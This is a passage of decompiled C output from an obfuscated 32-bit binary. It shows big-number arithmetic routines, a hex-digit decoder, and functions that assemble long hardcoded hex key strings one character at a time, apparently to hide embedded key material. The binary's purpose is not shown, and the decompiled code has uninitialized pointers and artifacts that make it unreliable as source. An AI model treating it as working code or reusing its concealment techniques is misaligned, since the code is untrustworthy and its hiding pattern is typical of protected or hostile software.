int32_t * v4; CIHNs5r(v4); CIHNs5r_501(&v1->e0, a2); CIHNs5r__Udjf34(*a1, v1); CIHNs5r_500(); int32_t v5 = (int32_t)g2; // 0x80792c8 int32_t * v6; int32_t v7 = (int32_t)v6; // 0x80792c8 // branch -> 0x8079491 while (true) { // 0x8079491 int32_t v8; CIHNs5r_501(&v8, (struct struct_1 *)*a3); CIHNs5r__Udjf66((struct struct_1 *)*a1, (struct struct_1 *)&v8); CIHNs5r_500(); int32_t * v9 = *a1; // 0x807914d int32_t v10 = (int32_t)v9; // 0x807914d_0 int32_t * v11 = *a3; // 0x8079167 int32_t v12 = (int32_t)v11; // 0x8079167_0 int32_t v13 = **a1; // 0x8079179 int32_t v14 = **a3; // 0x807917e int32_t v15 = v13 - v14; // 0x8079182 int32_t * v16 = (int32_t *)v15; // 0x8079186_0 if (v9 == v11) { // 0x80791a1 if (v13 == v14) { // 0x80791ab int32_t * v17; CIHNs5r_501(v17, (struct struct_1 *)*a3); int32_t * v18; CIHNs5r__Udjf87(v18, (struct struct_1 *)*a1, v17); CIHNs5r__Udjf34(*a1, (struct struct_1 *)v18); CIHNs5r_500(); CIHNs5r_500(); CIHNs5r_500(); g98 = v3; return (int32_t)*a1; } } int32_t * v19 = v16; // 0x80793f1_07 int32_t * v20 = v9; // 0x80792dc_05 int32_t v21; // 0x80792ba int32_t v22; // 0x80792c8 int32_t v23; // 0x80792c8 int32_t * v24; // 0x8079407_43 int32_t v25; // 0x80792c8 int32_t * v26; int32_t v27; int32_t * v28; uint32_t v29; // 0x807938b if (v9 <= v11) { // 0x807927a int32_t v30; // 0x80792d9_06 if (v13 != v14) { // 0x8079280 g98 = v10; int32_t v31 = *(int32_t *)((int32_t)*a1 + 4 + 4 * (**a1 - 2)); // 0x80792a1 v19 = (int32_t *)(v15 - 1); v30 = v10; v20 = (int32_t *)v31; // branch -> 0x80792b4 } else { v19 = v16; v30 = 0; v20 = v9; } // 0x80792b4 v21 = v12 + 1; v22 = (int32_t)v4; v23 = *v26; v25 = __udivdi3((int32_t)v20, v30, v21, (int32_t)(v11 == (int32_t *)-1), v27, v10, v5, v7, 0, v22, v23, 0, 0, 0, 0, 0); CIHNs5r__Udjf34_354((struct struct_52 *)v4, v25, g97); CIHNs5r_501(&v2->e0, (struct struct_1 *)v4); CIHNs5r__Udjf31_356(v28, *a3, v2); CIHNs5r__Udjf34(v4, (struct struct_1 *)v28); CIHNs5r_500(); CIHNs5r_500(); v29 = (int32_t)v19; v24 = v4; if (v19 != NULL) { lab_0x16989ae0:; int32_t v32 = v29 + v22; // 0x8079397 int32_t v33 = v32 - 1; // 0x80793a6 if (v33 >= v29) { v26[v33] = *v26; while (v33 - 1 >= v29) { // 0x80793ac v33--; v26[v33] = *v26; // continue -> 0x80793ac } // 0x80793ca // branch -> 0x80793db } // branch -> 0x80793db for (int32_t i = 0; i < v29; i++) { // 0x80793db v26[i] = 0; // continue -> 0x80793db } // 0x80793f6 v24 = (int32_t *)v32; // branch -> 0x80793f6 } lab_0x11a1dea0:; // 0x80793f6 int32_t * v34; CIHNs5r_501(v34, (struct struct_1 *)v24); int32_t * v35; CIHNs5r__Udjf87(v35, (struct struct_1 *)*a1, v34); CIHNs5r__Udjf34(*a1, (struct struct_1 *)v35); CIHNs5r_500(); CIHNs5r_500(); v4 = v24; // branch -> 0x8079491 continue; } // 0x80792b4 v21 = v12 + 1; v22 = (int32_t)v4; v23 = *v26; v25 = __udivdi3((int32_t)v20, 0, v21, (int32_t)(v11 == (int32_t *)-1), v27, v10, v5, v7, 0, v22, v23, 0, 0, 0, 0, 0); CIHNs5r__Udjf34_354((struct struct_52 *)v4, v25, g97); CIHNs5r_501(&v2->e0, (struct struct_1 *)v4); CIHNs5r__Udjf31_356(v28, *a3, v2); CIHNs5r__Udjf34(v4, (struct struct_1 *)v28); CIHNs5r_500(); CIHNs5r_500(); v29 = (int32_t)v19; if (v19 == NULL) { v24 = v4; goto lab_0x11a1dea0; } goto lab_0x16989ae0; } } // Address range: 0x8079584 - 0x8079d0f int32_t CIHNs5r__Udjf69(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_1 * a4, int32_t * a5) { struct struct_1 * v1 = NULL; // bp-2476 struct struct_1 * v2 = NULL; // bp-1900 struct struct_1 * v3 = NULL; // bp-1324 struct struct_1 * v4 = NULL; // bp-748 struct struct_1 * v5 = NULL; // bp-172 CIHNs5r(*a1); int32_t * v6; CIHNs5r(v6); if ((char)(int32_t)a5 != 0) { // 0x80795c1 int32_t * v7; CIHNs5r__Udjf87_355((struct struct_1 *)v7, (struct struct_1 *)*a3, 85); CIHNs5r__Udjf34((int32_t *)*a3, (struct struct_1 *)v7); CIHNs5r_500(); int32_t * v8; CIHNs5r__Udjf87_355((struct struct_1 *)v8, a4, 85); CIHNs5r__Udjf34(&a4->e0, (struct struct_1 *)v8); CIHNs5r_500(); // branch -> 0x807963d } int32_t v9 = 32 * *(int32_t *)*a3 - 32; // 0x8079645 int32_t v10 = *a3; // 0x8079656 if (v10 != 0) { int32_t v11 = v9 + 1; // 0x8079667 while (v10 >= 2) { // 0x807965f v10 /= 2; v11++; // continue -> 0x807965f } // 0x8079669 v9 = v11; // branch -> 0x807966f } // 0x807966f CIHNs5r_501(&v1->e0, (struct struct_1 *)a2); CIHNs5r__Udjf34(*a1, v1); CIHNs5r_500(); int32_t v12 = v9 - 2; // 0x80796af if (v12 <= 0) { // 0x8079cc2 CIHNs5r_500(); return (int32_t)*a1; } while (true) { // 0x80796ba int32_t * v13; CIHNs5r__Udjf31(v13, (struct struct_1 *)*a1, (struct struct_1 *)*a1); CIHNs5r__Udjf34(v6, (struct struct_1 *)v13); CIHNs5r_500(); int32_t ** v14; CIHNs5r_501((int32_t *)v14, a4); int32_t ** v15; CIHNs5r__Udjf01(v15, (struct struct_1 *)v6, v14); CIHNs5r__Udjf34(v6, (struct struct_1 *)v15); CIHNs5r_500(); CIHNs5r_500(); struct struct_1 * v16 = (struct struct_1 *)1; // bp-16 int32_t * v17 = v6; int32_t v18; // 0x80799ab uint32_t v19; // 0x80799a6 int32_t v20; // 0x807999f if (**a1 > 1) { struct struct_1 * v21 = (struct struct_1 *)1; int32_t * v22 = v6; // 0x56120 int32_t * v23; while (true) { int32_t v24 = (int32_t)v22; // 0x80797b2 struct struct_1 * v25 = v21; // 0x80797fc_0 int32_t ** v26 = a1; if (v22 > NULL) { int32_t v27 = v24; int32_t v28 = v27 - 1; // 0x80797c3 int32_t * v29 = v23; v29[v27] = *v29; while (v28 > 0) { // 0x80797bd v27 = v28; v28 = v27 - 1; v29 = v23; v29[v27] = *v29; // continue -> 0x80797bd } // 0x80797d7 v25 = v16; v26 = a1; // branch -> 0x80797dd } // 0x80797dd v23 = NULL; int32_t v30 = v24 + 1; // 0x80797ed int32_t * v31 = (int32_t *)v30; // 0x80797ee_0 int32_t * v32 = *v26; // 0x80797f4 int32_t v33 = **v26; // 0x80797fa int32_t v34 = *(int32_t *)((int32_t)v32 + 4 + 4 * (v33 - (int32_t)v25 - 1)); // 0x8079800 int32_t * v35; CIHNs5r__Udjf31(v35, (struct struct_1 *)*v26, (struct struct_1 *)v34); CIHNs5r__Udjf32(v2, v31, (struct struct_1 *)v35); CIHNs5r__Udjf34(v31, v2); CIHNs5r_500(); CIHNs5r_500(); int32_t ** v36; CIHNs5r_501((int32_t *)v36, a4); int32_t ** v37; CIHNs5r__Udjf01(v37, (struct struct_1 *)v30, v36); CIHNs5r__Udjf34(v31, (struct struct_1 *)v37); CIHNs5r_500(); CIHNs5r_500(); uint32_t v38 = (int32_t)v16 + 1; // 0x8079943 struct struct_1 * v39 = (struct struct_1 *)v38; // 0x8079943_3 v16 = v39; if (**a1 <= v38) { v17 = v31; // break -> 0x8079953 break; } v21 = v39; v22 = v31; // continue -> 0x80797b2 } // 0x8079953 CIHNs5r_501(&v3->e0, (struct struct_1 *)v17); CIHNs5r__Udjf34(*a1, v3); CIHNs5r_500(); v20 = *(int32_t *)(4 * v12 / 32 + 4 + *a3); v19 = v12 % 32; v18 = v20; if (v19 != 0) { lab_0x5eaa2a0: // if_80799a9_0_true v18 = v20 >> v19; // branch -> after_if_80799a9_0 } lab_0x1ec49360:; int32_t * v40 = v17; // 0x8079c5b_58 int32_t v41; // 0x8079c8e if (v18 % 2 != 0) { // 0x80799b6 int32_t * v42; CIHNs5r__Udjf31(v42, (struct struct_1 *)a2, (struct struct_1 *)*a1); CIHNs5r__Udjf34(v17, (struct struct_1 *)v42); CIHNs5r_500(); int32_t ** v43; CIHNs5r_501((int32_t *)v43, a4); int32_t ** v44; CIHNs5r__Udjf01(v44, (struct struct_1 *)v17, v43); CIHNs5r__Udjf34(v17, (struct struct_1 *)v44); CIHNs5r_500(); CIHNs5r_500(); v16 = (struct struct_1 *)1; int32_t * v45 = v17; if (**a1 > 1) { struct struct_1 * v46 = (struct struct_1 *)1; int32_t * v47 = v17; // 0x59132 while (true) { int32_t v48 = (int32_t)v47; // 0x8079aad struct struct_1 * v49 = v46; // 0x8079af7_0 int32_t ** v50 = a1; if (v47 > NULL) { int32_t v51 = v48; int32_t v52 = v51 - 1; // 0x8079abe int32_t * v53 = v23; v53[v51] = *v53; while (v52 > 0) { // 0x8079ab8 v51 = v52; v52 = v51 - 1; v53 = v23; v53[v51] = *v53; // continue -> 0x8079ab8 } // 0x8079ad2 v49 = v16; v50 = a1; // branch -> 0x8079ad8 } // 0x8079ad8 v23 = NULL; int32_t v54 = v48 + 1; // 0x8079ae8 int32_t * v55 = (int32_t *)v54; // 0x8079ae9_0 int32_t * v56 = *v50; // 0x8079aef int32_t v57 = **v50; // 0x8079af5 int32_t v58 = *(int32_t *)((int32_t)v56 + 4 + 4 * (v57 - (int32_t)v49 - 1)); // 0x8079afb int32_t * v59; CIHNs5r__Udjf31(v59, (struct struct_1 *)a2, (struct struct_1 *)v58); CIHNs5r__Udjf32(v4, v55, (struct struct_1 *)v59); CIHNs5r__Udjf34(v55, v4); CIHNs5r_500(); CIHNs5r_500(); int32_t ** v60; CIHNs5r_501((int32_t *)v60, a4); int32_t ** v61; CIHNs5r__Udjf01(v61, (struct struct_1 *)v54, v60); CIHNs5r__Udjf34(v55, (struct struct_1 *)v61); CIHNs5r_500(); CIHNs5r_500(); uint32_t v62 = (int32_t)v16 + 1; // 0x8079c3a struct struct_1 * v63 = (struct struct_1 *)v62; // 0x8079c3a_3 v16 = v63; if (**a1 <= v62) { v45 = v55; // break -> 0x8079c4a break; } v46 = v63; v47 = v55; // continue -> 0x8079aad } // 0x8079c4a CIHNs5r_501(&v5->e0, (struct struct_1 *)v45); CIHNs5r__Udjf34(*a1, v5); CIHNs5r_500(); // branch -> 0x8079c8b lab_0x5ebc720: // 0x8079c8b v41 = v12 - 1; if (v41 <= 0) { // break -> 0x8079cc2 break; } v12 = v41; v6 = v45; // continue -> 0x80796ba continue; } // 0x8079c4a CIHNs5r_501(&v5->e0, (struct struct_1 *)v45); CIHNs5r__Udjf34(*a1, v5); CIHNs5r_500(); // branch -> 0x8079c8b goto lab_0x5ebc720; } // 0x8079c8b v41 = v12 - 1; if (v41 <= 0) { // break -> 0x8079cc2 break; } v12 = v41; v6 = v40; // continue -> 0x80796ba continue; } // 0x8079953 CIHNs5r_501(&v3->e0, (struct struct_1 *)v17); CIHNs5r__Udjf34(*a1, v3); CIHNs5r_500(); v20 = *(int32_t *)(4 * v12 / 32 + 4 + *a3); v19 = v12 % 32; if (v19 == 0) { v18 = v20; goto lab_0x1ec49360; } goto lab_0x5eaa2a0; } // 0x8079cc2 CIHNs5r_500(); return (int32_t)*a1; } // Address range: 0x8079d10 - 0x8079d55 int32_t Ytsd0(int32_t a1) { // 0x8079d10 g95 = a1; unsigned char v1 = (char)a1; // 0x8079d19 int32_t v2 = 0x1000000 * a1; int32_t v3 = v2 / 0x1000000; int32_t result; // 0x8079d512 int32_t v4; // 0x8079d4b if (v2 < 0x30000000) { // 0x8079d3b if (v1 < 65) { // 0x8079d51 return 0; } // 0x8079d41 if (v1 <= 70) { // 0x8079d47 v4 = v3 - 55; g95 = v4; result = v4; // branch -> 0x8079d51 } else { result = 0; } // 0x8079d51 return result; } // 0x8079d29 if (v1 <= 57) { int32_t result2 = v3 - 48; // 0x8079d33 g95 = result2; // branch -> 0x8079d51 // 0x8079d51 return result2; } // 0x8079d3b if (v1 < 65) { // 0x8079d51 return 0; } // 0x8079d41 if (v1 <= 70) { // 0x8079d47 v4 = v3 - 55; g95 = v4; result = v4; // branch -> 0x8079d51 } else { result = 0; } // 0x8079d51 return result; } // Address range: 0x8079d56 - 0x8079e21 int32_t Nh76f(int32_t result, struct struct_59 * a2) { int32_t v1 = g98; // 0x8079d5a int32_t v2 = result; // bp-60 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v2); int32_t v3 = 0; struct struct_59 * v4 = (struct struct_59 *)(int32_t)a2->e0; // 0x8079dda_0 // 0x8079e15 g98 = v1; // branch -> 0x8079dcf while (v3 < -((-1 * strlen(&((struct struct_59 *)(int32_t)v4->e0)->e0))) / 2) { // 0x8079dcf int32_t v5 = a2->e0; // 0x8079d7e v2 = v5; g98 = g98 & -256 | 16 * Ytsd0(v5) & 240; int32_t v6 = a2->e0; // 0x8079d9d v2 = v6; int32_t v7 = Ytsd0(v6); // 0x8079da6 v2 = result; std__string__append(&v2, 1, (char)(0x1000000 * (g98 + v7) / 0x1000000)); v3++; v4 = (struct struct_59 *)(int32_t)a2->e0; // 0x8079e15 g98 = v1; // branch -> 0x8079dcf } return result; } // Address range: 0x8079e22 - 0x807a129 int32_t Mid89(struct struct_59 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t * v1; int32_t * v2 = v1; // bp-588 struct struct_1 * v3 = NULL; // bp-300 CIHNs5r(v1); int32_t * v4; CIHNs5r(v4); int32_t v5; CIHNs5r(&v5); int32_t v6; CIHNs5r(&v6); int32_t v7 = 16; // bp-1044 CIHNs5r__Udjf67(v1, &a2, (struct struct_1 *)&v7); v7 = 16; a2 = a3; CIHNs5r__Udjf67(&v5, &a2, (struct struct_1 *)&v7); v7 = 16; a2 = a4; CIHNs5r__Udjf67(&v6, &a2, (struct struct_1 *)&v7); CIHNs5r_501(&v3->e0, (struct struct_1 *)&v6); int32_t * v8; CIHNs5r_501(v8, (struct struct_1 *)&v5); int32_t ** v9; CIHNs5r__Udjf69(v9, v2, v8, v3, (int32_t *)1); CIHNs5r__Udjf34(v4, (struct struct_1 *)v9); CIHNs5r_500(); CIHNs5r_500(); CIHNs5r_500(); a2 = 16; int32_t v10 = a1->e0; CIHNs5r__Udjf68((struct struct_3 *)v4, (int32_t *)v10, (struct struct_1 *)&a2); struct struct_59 * v11 = (struct struct_59 *)std__string__c_str((int32_t *)(int32_t)a1->e0); // 0x8079fd3_3 int32_t v12; Nh76f(v12, v11); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12); CIHNs5r_500(); CIHNs5r_500(); CIHNs5r_500(); CIHNs5r_500(); return (int32_t)&v2; } // Address range: 0x807a12a - 0x807b95b int32_t UYT54(int32_t result) { int32_t v1 = g98; // 0x807a12d int32_t * v2; memcpy(v2, (int32_t *)0x8102bc0, 512); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); g95 = 128; g98 = result; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, (int32_t)g2, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x807b95e - 0x807e90f int32_t Uidi(int32_t result) { int32_t v1 = g98; // 0x807b961 int32_t * v2; memcpy(v2, (int32_t *)0x8102dc0, 512); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)55, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)50, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)49, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)51, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)69, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)56, (int32_t *)256); KDS87y((int16_t *)66, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)70, (int32_t *)256); KDS87y((int16_t *)52, (int32_t *)256); KDS87y((int16_t *)53, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)68, (int32_t *)256); KDS87y((int16_t *)65, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)67, (int32_t *)256); KDS87y((int16_t *)57, (int32_t *)256); KDS87y((int16_t *)54, (int32_t *)256); KDS87y((int16_t *)48, (int32_t *)256); 